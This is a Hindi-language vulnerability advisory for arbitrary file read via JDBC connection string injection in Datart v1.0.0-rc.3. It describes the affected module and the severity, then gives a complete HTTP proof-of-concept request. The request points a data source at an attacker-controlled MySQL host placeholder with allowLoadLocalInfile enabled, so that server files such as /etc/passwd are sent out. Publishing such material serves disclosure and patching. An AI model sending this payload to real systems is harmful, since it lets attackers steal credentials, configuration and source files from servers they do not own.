
Datart v1.0.0-rc.3 JDBC Connection String Injection से मनमाना फ़ाइल पढ़ना
Datart v1.0.0-rc.3 में एक मनमाना फ़ाइल पढ़ने की कमज़ोरी पाई गई। डेटा स्रोत कॉन्फ़िगरेशन के दौरान एप्लिकेशन JDBC कनेक्शन URL को ठीक से मान्य नहीं करता है।
कमज़ोरी का प्रकार: अनुचित इनपुट सत्यापन (CWE-20) / मनमाना फ़ाइल पढ़ना प्रभावित संस्करण: Datart v1.0.0-rc.3 गंभीरता: उच्च (संवेदनशील जानकारी के प्रकट होने की संभावना)
यह कमज़ोरी डेटा स्रोत कॉन्फ़िगरेशन मॉड्यूल में मौजूद है। एप्लिकेशन JDBC कॉन्फ़िगरेशन में url पैरामीटर को कड़ाई से सैनिटाइज़ नहीं करता है। एक दूरस्थ हमलावर जिसके पास डेटा स्रोतों को कॉन्फ़िगर करने के अधिकार हैं, वह JDBC URL में दुर्भावनापूर्ण पैरामीटर (विशेष रूप से allowLoadLocalInfile=true) इंजेक्ट कर सकता है।
JDBC कनेक्शन को हमलावर द्वारा नियंत्रित एक दुर्भावनापूर्ण MySQL सर्वर (Rogue MySQL Server) पर इंगित करके, हमलावर क्लाइंट को Datart सर्वर से स्थानीय फ़ाइलों को हमलावर के सर्वर पर भेजने के लिए ट्रिगर कर सकता है।
सफल शोषण एक प्रमाणित हमलावर को सर्वर फ़ाइल सिस्टम (जैसे, /etc/passwd, कॉन्फ़िगरेशन फ़ाइलें, स्रोत कोड) से मनमानी फ़ाइलें पढ़ने की अनुमति देता है, जिससे संभावित रूप से सर्वर से समझौता या आगे के हमले हो सकते हैं।
LOAD DATA LOCAL INFILE सुविधा का शोषण करने में सक्षम है (जैसे, rogue_mysql_server जैसे टूल का उपयोग करके)।POST /api/v1/data-provider/test HTTP/1.1
Host: {{TARGET_HOST}}
Content-Type: application/json
Authorization: Bearer {{VALID_JWT_TOKEN}}
Accept: application/json
{
"name": "cve-poc-test",
"type": "JDBC",
"properties": {
"dbType": "MYSQL",
"url": "jdbc:mysql://{{ATTACKER_IP}}:{{ATTACKER_PORT}}/test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&maxAllowedPacket=655360",
"user": "fileread_/etc/passwd",
"password": "any_password",
"driverClass": "com.mysql.cj.jdbc.Driver",
"serverAggregate": false,
"enableSpecialSQL": false,
"enableSyncSchemas": true,
"syncInterval": "60",
"properties": {}
}
}